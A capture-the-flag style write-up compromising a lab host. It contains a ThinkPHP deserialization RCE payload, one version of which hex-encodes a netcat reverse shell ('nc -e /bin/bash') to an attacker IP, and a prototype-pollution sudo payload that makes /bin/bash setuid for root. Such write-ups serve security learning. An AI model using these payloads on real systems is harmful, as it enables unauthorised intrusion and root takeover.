Host entries
1
10.0.14.38
Content
- ThinkPHP Deserialization vulnerability [CVE-2024-44902]
- Protoype Pollution on @bit/loader [CVE-2024-24293]
Reconnaissance
Initial reconnaissance for TCP ports
1
2
3
4
# Nmap 7.94SVN scan initiated Sun Jan 26 23:29:37 2025 as: nmap -p- -sS --open --min-rate 500 -Pn -n -vvvv -oG allPorts 10.0.14.38
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.0.14.38 () Status: Up
Host: 10.0.14.38 () Ports: 22/open/tcp//ssh///, 80/open/tcp//http///
Services and Versions running:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Host is up, received user-set (0.17s latency).
Scanned at 2025-01-29 00:56:39 EST for 58s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 74:83:fc:82:0e:02:d9:63:59:80:9f:f9:de:31:17:87 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBO40e2JaSpjhdqxYQ6C2x/SBYzN1gMVUESNpCDIJSStS92QBgqpbKSZpZQaFZ2L/m2jucsTRW+48uSqdL0TsrlY=
| 256 cc:8a:34:47:e0:4e:7b:c7:7b:e0:31:56:db:63:2c:b8 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMOL2ddjfYthCMDlkADh4dnHZ4+TwZXYHrMOhcLxySy2
80/tcp open http syn-ack ttl 63 (PHP 8.2.24)
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 Not Found
|_ Allow:GET, POST, PUT, DELETE
| http-methods:
| Supported Methods: GET POST PUT DELETE
|_ Potentially risky methods: PUT DELETE
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
Exploitation
Only HTTP port open, with the following number, which seems to be a version:
Then we have enough information to lookup for the name of the technology running on this port, and the only perfect match is ThinkPHP:
While investigating, I found a vulnerability CVE-2024-44902 on ThinkPHP version 8.0.4:
The payload is an image so I have to extract the data from it, the OS command within the payload is whoami
:
1
x=O%3A28%3A%22think%5Croute%5CResourceRegister%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00registered%22%3Bb%3A0%3Bs%3A11%3A%22%00%2A%00resource%22%3BO%3A15%3A%22think%5CDbManager%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00instance%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00config%22%3Ba%3A2%3A%7Bs%3A11%3A%22connections%22%3Ba%3A1%3A%7Bs%3A7%3A%22getRule%22%3Ba%3A2%3A%7Bs%3A4%3A%22type%22%3Bs%3A29%3A%22%5Cthink%5Ccache%5Cdriver%5CMemcached%22%3Bs%3A8%3A%22username%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A4%3A%7Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22fru1ts%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22cat%20%2Fetc%2Fpasswd%22%3B%7D%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22fru1ts%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22fru1ts%22%3B%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7D%7D%7Ds%3A7%3A%22default%22%3Bs%3A7%3A%22getRule%22%3B%7D%7D%7D
And then the payload retrieves the information as follows:
Now the interesting part here, is that you need to provide the length of the payload you want to execute (number 6 for whoami), prior to sent the payload:
So in order to get a reverse shell, we get the length of the string and then change it by the 6 instead:
This is the final payload I use:
1
x=O%3A28%3A%22think%5Croute%5CResourceRegister%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00registered%22%3Bb%3A0%3Bs%3A11%3A%22%00%2A%00resource%22%3BO%3A15%3A%22think%5CDbManager%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00instance%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00config%22%3Ba%3A2%3A%7Bs%3A11%3A%22connections%22%3Ba%3A1%3A%7Bs%3A7%3A%22getRule%22%3Ba%3A2%3A%7Bs%3A4%3A%22type%22%3Bs%3A29%3A%22%5Cthink%5Ccache%5Cdriver%5CMemcached%22%3Bs%3A8%3A%22username%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A4%3A%7Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22fru1ts%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A32%3A%22%6e%63%20%2d%65%20%2f%62%69%6e%2f%62%61%73%68%20%31%30%2e%31%30%2e%35%2e%31%32%32%20%31%32%33%34%22%3B%7D%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22fru1ts%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22fru1ts%22%3B%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7D%7D%7Ds%3A7%3A%22default%22%3Bs%3A7%3A%22getRule%22%3B%7D%7D%7D
Privilege Escalation
There is a binary that can be executed as Sudo without credentials:
The content of such binary is this:
There is a Prototype Pollution vulnerability on @bit/loader
:
After several attempts and also a good chatGPT aid, I came with the following payload:
1
2
www-data@brainrot:/$ sudo /usr/local/bin/bitrot '{"__proto__": {"is_admin": true, "properties": {"username": "ebbg", "cmd": "require(\"child_process\").exec(\"chmod +s /bin/bash\")"}}}'
That allows us to run /bin/bash
as root:
1
2
3
www-data@brainrot:/$ /bin/bash -p
bash-5.2# whoami
root
Post Exploitation
Flags are stored at:
/etc/passwd
/etc/shadow
environment variables (env command)
/root
Credentials
No credentials were found on this machine.
Notes
- For Prototype Pollution attacks, specially if this are crafted with JSON, it is really important to escape key chars such as doble quote (“), because the payload sometimes is not working while trying to exploit this vulnerability.